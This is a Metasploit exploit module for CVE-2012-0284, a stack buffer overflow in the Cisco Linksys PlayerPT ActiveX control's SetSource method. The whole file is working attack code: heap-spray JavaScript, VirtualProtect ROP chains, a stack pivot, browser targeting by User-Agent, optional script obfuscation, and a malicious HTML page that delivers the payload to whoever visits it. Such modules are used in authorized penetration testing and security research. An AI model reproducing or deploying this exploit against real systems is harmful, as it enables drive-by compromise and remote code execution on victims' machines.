##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh
  #include Msf::Exploit::Remote::BrowserAutopwn
  #
  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "6.0",
  #  :ua_maxver  => "9.0",
  #  :javascript => true,
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :classid    => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
  #  :method     => "SetSource",
  #  :rank       => NormalRanking
  #})


  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco Linksys PlayerPT ActiveX Control SetSource sURL Argument Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
        as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
        Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
        the SetSource method, when handling a specially crafted sURL argument, allows to
        trigger a stack based buffer overflow which leads to code execution under the
        context of the user visiting a malicious web page.
      },
      'Author'         =>
        [
          'Carsten Eiram', # Vuln discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-0284' ],
          [ 'OSVDB', '84309'],
          [ 'BID', '54588' ],
          [ 'URL', 'http://web.archive.org/web/20120808000045/http://secunia.com:80/secunia_research/2012-25/' ],

        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space' => 1024,
          'DisableNops' => true,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'SprayBlocks' => 0x185,
              'SprayOffset' => '0x0',
              'Ret' => 0x0c0c0c0c,
              'Rop' => nil,
              'RandomHeap' => false
            }
          ],
          [
            'IE 7 on Windows XP SP3 / Windows Vista SP2',
            {
              'SprayBlocks' => 0x185,
              'SprayOffset' => '0x0',
              'Ret' => 0x0c0c0c0c,
              'Rop' => nil,
              'RandomHeap' => false
            }
          ],
          [
            'IE 8 on Windows XP SP3',
            {
              'SprayBlocks' => 0x185,
              'SprayOffset' => '0x0',
              'Ret' => 0x77c3546b, # ret from msvcrt
              'StackPivot_1' => 0x77c3546a, # pop ebp; ret from msvcrt
              'StackPivot_2' => 0x77c35468, # mov esp,ebp; pop ebp; ret from msvcrt
              'Rop' => :msvcrt,
              'RopChainOffset' => '0x5f4',
              'RandomHeap' => false
            }
          ],
          [
            'IE 8 with Java 6 on Windows XP SP3',
            {
              'SprayBlocks' => 0x185,
              'SprayOffset' => '0x0',
              'Ret' => 0x7c3424f2, # ret from msvcr71.dll
              'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
              'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
              'Rop' => :jre,
              'RopChainOffset' => '0x5f4',
              'RandomHeap' => false
            }
          ],
          [
            'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
            {
              'SprayBlocks' => 0x185,
              'SprayOffset' => '0x0',
              'Ret' => 0x7c3424f2, # ret from msvcr71.dll
              'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
              'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
              'Rop' => :jre,
              'RopChainOffset' => '0x5f4',
              'RandomHeap' => false
            }
          ],
          [
            'IE 9 with Java 6 on Windows 7 SP1',
            {
              'SprayBlocks' => 0x1000,
              'SprayOffset' => '0x0',
              'Ret' => 0x7c3424f2, # ret from msvcr71.dll
              'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
              'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
              'Rop' => :jre,
              'RopChainOffset' => '0x5fe',
              'RandomHeap' => true,
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-07-17',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class
    )

  end

  def get_easy_spray(t, js_code, js_nops)
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;

    var offset = nops.substring(0, #{t['SprayOffset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();
    for (var z=1; z < #{t['SprayBlocks']}; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray

  end

  def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS

    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});
    var nops_90 = unescape("#{js_90_nops}");
    var rop_chain = unescape("#{js_rop}");

    while (nops.length < 0x80000) nops += nops;
    while (nops_90.length < 0x80000) nops_90 += nops_90;

    var offset = nops.substring(0, #{t['SprayOffset']});
    var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
    var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);


    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);


    heap_obj.gc();
    for (var z=1; z < #{t['SprayBlocks']}; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray

  end

  # Spray published by corelanc0d3r
  # Exploit writing tutorial part 11 : Heap Spraying Demystified
  # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
  def get_random_spray(t, js_rop, js_code, js_90_nops)

    spray = <<-JS

    function randomblock(blocksize)
    {
      var theblock = "";
      for (var i = 0; i < blocksize; i++)
      {
        theblock += Math.floor(Math.random()*90)+10;
      }
      return theblock;
    }

    function tounescape(block)
    {
      var blocklen = block.length;
      var unescapestr = "";
      for (var i = 0; i < blocklen-1; i=i+4)
      {
        unescapestr += "%u" + block.substring(i,i+4);
      }
      return unescapestr;
    }

    var heap_obj = new heapLib.ie(0x10000);

    var rop = unescape("#{js_rop}");
    var code = unescape("#{js_code}");
    var nops_90 = unescape("#{js_90_nops}");

    while (nops_90.length < 0x80000) nops_90 += nops_90;

    var offset_length = #{t['RopChainOffset']};

    for (var i=0; i <  #{t['SprayBlocks']}; i++) {
      var padding = unescape(tounescape(randomblock(0x1000)));
      while (padding.length < 0x1000) padding+= padding;
      var junk_offset = padding.substring(0, offset_length - code.length);
      var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
      while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
      sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
      heap_obj.alloc(sprayblock);
    }

    JS

    return spray
  end


  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def nop
    return make_nops(4).unpack("V").first
  end

  def get_stack_pivot(t)
    stack_pivot = [
      junk,
      junk,
      junk,
      junk,
      junk,
      t['StackPivot_1'], # pop ebp # ret # ESP points here after controlling EIP with overflow
      0x0c0c0c08,        # ebp
      t['StackPivot_2']  # mov esp,ebp # pop ebp # ret
    ].pack("V*")

    return stack_pivot
  end

  def get_rop_chain(t)

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
      when :msvcrt
        print_status("Using msvcrt ROP")
        rop =
          [
            0x77C21891,  # POP ESI # RETN
            0x0c0c0c04,  # ESI
            0x77c4e392,  # POP EAX # RETN
            0x77c11120,  # <- *&VirtualProtect()
            0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
            junk,
            0x77c2dd6c,  # XCHG EAX,ESI # ADD BYTE PTR [EAX],AL # RETN
            0x77c4ec00,  # POP EBP # RETN
            0x77c35459,  # ptr to 'push esp #  ret'
            0x77c47705,  # POP EBX # RETN
            0x00001000,  # EBX
            0x77c3ea01,  # POP ECX # RETN
            0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
            0x77c46100,  # POP EDI # RETN
            0x77c46101,  # ROP NOP (-> edi)
            0x77c4d680,  # POP EDX # RETN
            0x00000040,  # newProtect (0x40) (-> edx)
            0x77c4e392,  # POP EAX # RETN
            nop,         # NOPS (-> eax)
            0x77c12df9,  # PUSHAD # RETN
          ].pack("V*")

      when :jre
        print_status("Using JRE ROP")
        rop =
          [
            0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
            0x00001000,  # (dwSize)
            0x7c347f98,  # RETN (ROP NOP)
            0x7c3415a2,  # JMP [EAX]
            0xffffffff,
            0x7c376402,  # skip 4 bytes
            0x7c345255,  # INC EBX # FPATAN # RETN
            0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
            0x7c344f87,  # POP EDX # RETN
            0x00000040,  # flNewProtect
            0x7c34d201,  # POP ECX # RETN
            0x7c38b001,  # &Writable location
            0x7c347f97,  # POP EAX # RETN
            0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
            0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
            0x7c345c30,  # ptr to 'push esp #  ret '
          ].pack("V*")
    end

    return rop
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows XP SP3
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows Vista SP2
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3]  #IE 8 on Windows XP SP3
    elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
      return targets[5]  #IE 8 on Windows 7 SP1/Vista SP2
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
      return targets[6]  #IE 9 on Windows 7 SP1
    else
      return nil
    end
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    print_status("User-agent: #{agent}")

    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have a setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    p = payload.encoded
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
    js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

    if not my_target['Rop'].nil?
      js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
    end

    js = ""

    if my_target['RandomHeap']
      js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
    elsif not my_target['Rop'].nil?
      js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
    else
      js = get_easy_spray(my_target, js_code, js_nops)
    end

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    sploit = "http://"
    sploit << "\x0c" * 261
    sploit << [my_target.ret].pack("V")
    if not my_target['Rop'].nil?
      sploit << get_stack_pivot(my_target)
    end
    sploit << "/img/video.asf"

    html = <<-MYHTML
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>
    <script>
      obj.SetSource("#{sploit}","mpeg","","","");
    </script>
    </body>
    </html>
    MYHTML

    html = html.gsub(/^ {4}/, '')

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end
end
